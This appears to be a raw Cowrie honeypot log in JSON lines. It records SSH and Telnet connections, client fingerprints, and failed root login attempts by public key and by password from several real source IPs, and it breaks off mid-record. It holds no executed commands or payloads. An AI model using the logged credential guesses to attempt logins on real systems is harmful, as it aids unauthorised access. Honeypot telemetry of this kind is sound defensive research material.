{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.274566Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.352633Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:e7:10:0c:18:d2:42:9e:ec:01:ad:ff:81:50:79:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy/LWdNY9TITohptoRgru/oemOYIpQzCRgLzd04aaIDPuZmS0crc6QbnLTKMrjIP4gzAaHKjm2H4TJLq1tZneD0Yq58YRfnSdCcq1kapBvLj1A/D3v9HHTbvfwY6hf6FoFUDL+eIbc8jwfpmkYtZ91OiWCU0qMGHFO3JZeGA0QC+u5oWtFkK3ayK8gkw0BslNxqJ0WGpd0pQcTa9BgV1UXDH6Z563Ll3fqPYLvlLaikNhVUdgTTlRCJhVajwQ9vmTASUMkdWzieWT/+3VLav5tf9bhyRjlvDL2YjvKFZff1Fq99PHqyfDrvfjueAnCEFMLY3F06yXUKuiu+Nrygrh5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:e7:10:0c:18:d2:42:9e:ec:01:ad:ff:81:50:79:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.708034Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:e7:10:0c:18:d2:42:9e:ec:01:ad:ff:81:50:79:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy/LWdNY9TITohptoRgru/oemOYIpQzCRgLzd04aaIDPuZmS0crc6QbnLTKMrjIP4gzAaHKjm2H4TJLq1tZneD0Yq58YRfnSdCcq1kapBvLj1A/D3v9HHTbvfwY6hf6FoFUDL+eIbc8jwfpmkYtZ91OiWCU0qMGHFO3JZeGA0QC+u5oWtFkK3ayK8gkw0BslNxqJ0WGpd0pQcTa9BgV1UXDH6Z563Ll3fqPYLvlLaikNhVUdgTTlRCJhVajwQ9vmTASUMkdWzieWT/+3VLav5tf9bhyRjlvDL2YjvKFZff1Fq99PHqyfDrvfjueAnCEFMLY3F06yXUKuiu+Nrygrh5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.712098Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:bd:51:8a:33:d7:5c:34:a1:f8:95:f3:34:ed:18:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdZbtNE3JDZAik/GOn2tStXsHuI64L/whIWQ3SmyUtXHXQd3XQUQPz0fX2qqVcgyDcxGIDgFS2FWvYwJEvoWQULixdaazoD5rpTrzAfFOY6rlC7T6R6fRohMoeBPThU/baKfDM3Yo7onuIYSBR1qWFIkYowinBdQTkjvqhv3YA+e2T1OD9xfIcNpCkr+/Ev8ZDTN8I/BuTi6q/oesQpXyAOcoKP/LsMHFTMlh8ra9j/e1mNt2JkjegzXcbviLh1x83NxcHjMiM5/yTvsavupiDLXmzYmbqefXpv1WbFDwGhLlTAjv1emCPaNVuEj1k88gm8gXOahCkHZtlBXCMKYm/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:bd:51:8a:33:d7:5c:34:a1:f8:95:f3:34:ed:18:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.788566Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:bd:51:8a:33:d7:5c:34:a1:f8:95:f3:34:ed:18:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdZbtNE3JDZAik/GOn2tStXsHuI64L/whIWQ3SmyUtXHXQd3XQUQPz0fX2qqVcgyDcxGIDgFS2FWvYwJEvoWQULixdaazoD5rpTrzAfFOY6rlC7T6R6fRohMoeBPThU/baKfDM3Yo7onuIYSBR1qWFIkYowinBdQTkjvqhv3YA+e2T1OD9xfIcNpCkr+/Ev8ZDTN8I/BuTi6q/oesQpXyAOcoKP/LsMHFTMlh8ra9j/e1mNt2JkjegzXcbviLh1x83NxcHjMiM5/yTvsavupiDLXmzYmbqefXpv1WbFDwGhLlTAjv1emCPaNVuEj1k88gm8gXOahCkHZtlBXCMKYm/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.792845Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:c7:3c:54:4d:5c:96:25:40:04:e3:10:d4:8a:ee:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtQB/IQCMfOFLzFa2Kpjht2sYQ9FBTkANrL2vhU2BI4J3R1pplQ/WSdeGcddcyHkiStUyCi91gET6OhnXsx3IYfQWvFAC7je8F/WWmAj8KwgBesOsBJXrouy9H41+X//qJPwpCOHj4ZjLf4lBKProf1tYRwziUgw62kJD2UVos8smIhgaz9l83WPeDdGRPBvkRbPBtuZaWQwAP91dTtiZZ4GsZQ9SnrMl7kl/kQCiRUx82grhdxRK1J9XL5/fcdEr9bmygwnyeNhhAY+kwvRCgSsdNzRP+lRHg5ATh74F9/u635HoPvwUpm4MbwUUDQFf5OwvHgRcdqrY5NBSiKpEiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:c7:3c:54:4d:5c:96:25:40:04:e3:10:d4:8a:ee:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.873047Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:c7:3c:54:4d:5c:96:25:40:04:e3:10:d4:8a:ee:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtQB/IQCMfOFLzFa2Kpjht2sYQ9FBTkANrL2vhU2BI4J3R1pplQ/WSdeGcddcyHkiStUyCi91gET6OhnXsx3IYfQWvFAC7je8F/WWmAj8KwgBesOsBJXrouy9H41+X//qJPwpCOHj4ZjLf4lBKProf1tYRwziUgw62kJD2UVos8smIhgaz9l83WPeDdGRPBvkRbPBtuZaWQwAP91dTtiZZ4GsZQ9SnrMl7kl/kQCiRUx82grhdxRK1J9XL5/fcdEr9bmygwnyeNhhAY+kwvRCgSsdNzRP+lRHg5ATh74F9/u635HoPvwUpm4MbwUUDQFf5OwvHgRcdqrY5NBSiKpEiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.877053Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:6c:a3:1d:c9:e2:bf:b7:46:17:2a:e2:ac:d3:4c:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/u+hdCqX4j2uwZ20Hp5IQhOGhLPPn/lhhINItDz5sAIjIeflDwLAemlkS/JaeWJeKEFP+J372OqJas3OjXYRhi3q4bGPiNOOLMgQUvmXEe0sFCoNDPOBtl7Bun7uu83612x2ZtV81/PdvzTGSwelEXL2V7ETRx5erlQlH5j3daXBZzfH1ww/Yt1Nf41iXtEs+UAL8uPcIHArb5mbL3aHmYrBl/NYe7HAbXh8PmZGZjVMInBRaAbBKyVAxFmvHfsC68WKC77loXy0izpRzj7JI0kfdWh9oU8od8VxBuKzBQeEwUUjIb3FYbcwLbN+iHRf9S9EzXs/UlIOcGJRw1E4Ch65U+xEyQSTjW2iFStWOIwE0CR4TsKVoLSRb/QjklilutlirnPWskgKjvY7n8ZVXhOS2DN9lIYjcDsnE2eKSZ0qAAfI4ShFCQaTlahmuJTFIfvSroGcahjn9RSFRjyb443mfF3fPY9BlvWH87q9oonDC2Lcfxb0YFGtHJFhSr86Y1Fm5SxXjLdGgbuTy4BJ6xCCLH85UuRLhw4kCzyT1ccslVcXTxgn7iL97B0dQmDZGfbTwvPylrpGmPx154iSnY6MPaB3Ily79iz4IZN93NqlfCEDMUBCYWTITyMQJX9mXXMc7mHePbkUkObuSaYhHDbZqTPLvaB9GnY5P+jri3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:6c:a3:1d:c9:e2:bf:b7:46:17:2a:e2:ac:d3:4c:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.953518Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:6c:a3:1d:c9:e2:bf:b7:46:17:2a:e2:ac:d3:4c:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/u+hdCqX4j2uwZ20Hp5IQhOGhLPPn/lhhINItDz5sAIjIeflDwLAemlkS/JaeWJeKEFP+J372OqJas3OjXYRhi3q4bGPiNOOLMgQUvmXEe0sFCoNDPOBtl7Bun7uu83612x2ZtV81/PdvzTGSwelEXL2V7ETRx5erlQlH5j3daXBZzfH1ww/Yt1Nf41iXtEs+UAL8uPcIHArb5mbL3aHmYrBl/NYe7HAbXh8PmZGZjVMInBRaAbBKyVAxFmvHfsC68WKC77loXy0izpRzj7JI0kfdWh9oU8od8VxBuKzBQeEwUUjIb3FYbcwLbN+iHRf9S9EzXs/UlIOcGJRw1E4Ch65U+xEyQSTjW2iFStWOIwE0CR4TsKVoLSRb/QjklilutlirnPWskgKjvY7n8ZVXhOS2DN9lIYjcDsnE2eKSZ0qAAfI4ShFCQaTlahmuJTFIfvSroGcahjn9RSFRjyb443mfF3fPY9BlvWH87q9oonDC2Lcfxb0YFGtHJFhSr86Y1Fm5SxXjLdGgbuTy4BJ6xCCLH85UuRLhw4kCzyT1ccslVcXTxgn7iL97B0dQmDZGfbTwvPylrpGmPx154iSnY6MPaB3Ily79iz4IZN93NqlfCEDMUBCYWTITyMQJX9mXXMc7mHePbkUkObuSaYhHDbZqTPLvaB9GnY5P+jri3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:53.957539Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:6e:22:ad:ee:24:ec:6b:bc:81:f0:f8:aa:84:13:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXAZgiqJBVd+FWpEYfOrUSD1wjqs5F9xuNQPRprep7ZsRI3OGemJb7y6wWZlbx2gGLNyNZEJQMgIR2oSBW+kPUeU7HzCLYTUy1ELENrG9s8sVhcHKLZ5rfC/52a1uuS3LHVXKNW5+XK0MZEbCgKw9tVO1siHlPB+pCpb7KQ6BBMAfUXhcRdMihbn9azALJpNJuHRPnNJIB62tpwyC7KKYI6mZgdDo1XO11CspxR4NiWe9LzeEHmv6+SFPJvKzWR0zNtHvAnIg2d69TXJfItqEcZWTDkWnEjbaNiCCCkezqYecBaiKrRtMIrkCiO12ChhmTRxxYPBlbBLglYt3qQjmR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:6e:22:ad:ee:24:ec:6b:bc:81:f0:f8:aa:84:13:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:54.034765Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:6e:22:ad:ee:24:ec:6b:bc:81:f0:f8:aa:84:13:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXAZgiqJBVd+FWpEYfOrUSD1wjqs5F9xuNQPRprep7ZsRI3OGemJb7y6wWZlbx2gGLNyNZEJQMgIR2oSBW+kPUeU7HzCLYTUy1ELENrG9s8sVhcHKLZ5rfC/52a1uuS3LHVXKNW5+XK0MZEbCgKw9tVO1siHlPB+pCpb7KQ6BBMAfUXhcRdMihbn9azALJpNJuHRPnNJIB62tpwyC7KKYI6mZgdDo1XO11CspxR4NiWe9LzeEHmv6+SFPJvKzWR0zNtHvAnIg2d69TXJfItqEcZWTDkWnEjbaNiCCCkezqYecBaiKrRtMIrkCiO12ChhmTRxxYPBlbBLglYt3qQjmR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:54.039017Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:21:54.115355Z","src_ip":"208.87.242.107","session":"140bbdff762a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":41900,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd9513110afd","protocol":"telnet","message":"New connection: 49.88.156.34:41900 (10.17.0.5:23) [session: bd9513110afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:16.369741Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":47472,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bf15e476cab","protocol":"ssh","message":"New connection: 103.82.20.28:47472 (10.17.0.5:22) [session: 0bf15e476cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:19.739123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:19.744028Z","src_ip":"103.82.20.28","session":"0bf15e476cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:20.020901Z","src_ip":"103.82.20.28","session":"0bf15e476cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oooooooo","message":"login attempt [root/oooooooo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:20.841123Z","src_ip":"103.82.20.28","session":"0bf15e476cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:22.117337Z","src_ip":"103.82.20.28","session":"0bf15e476cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53624,"dst_ip":"159.203.135.109","dst_port":22,"session":"766172fa029d","protocol":"ssh","message":"New connection: 103.122.221.179:53624 (159.203.135.109:22) [session: 766172fa029d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:22.574675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:22.579655Z","src_ip":"103.122.221.179","session":"766172fa029d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:22.848342Z","src_ip":"103.122.221.179","session":"766172fa029d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lthgfhjkm","message":"login attempt [root/lthgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:23.656595Z","src_ip":"103.122.221.179","session":"766172fa029d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24430,"dst_ip":"159.203.135.109","dst_port":22,"session":"5467390c2bbe","protocol":"ssh","message":"New connection: 194.59.206.2:24430 (159.203.135.109:22) [session: 5467390c2bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:24.390129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:24.448464Z","src_ip":"194.59.206.2","session":"5467390c2bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:24.505377Z","src_ip":"194.59.206.2","session":"5467390c2bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:24.674153Z","src_ip":"194.59.206.2","session":"5467390c2bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:24.936278Z","src_ip":"103.122.221.179","session":"766172fa029d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":29104,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba69c6183823","protocol":"ssh","message":"New connection: 220.247.224.226:29104 (10.17.0.5:22) [session: ba69c6183823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:38.799842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:38.805110Z","src_ip":"220.247.224.226","session":"ba69c6183823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"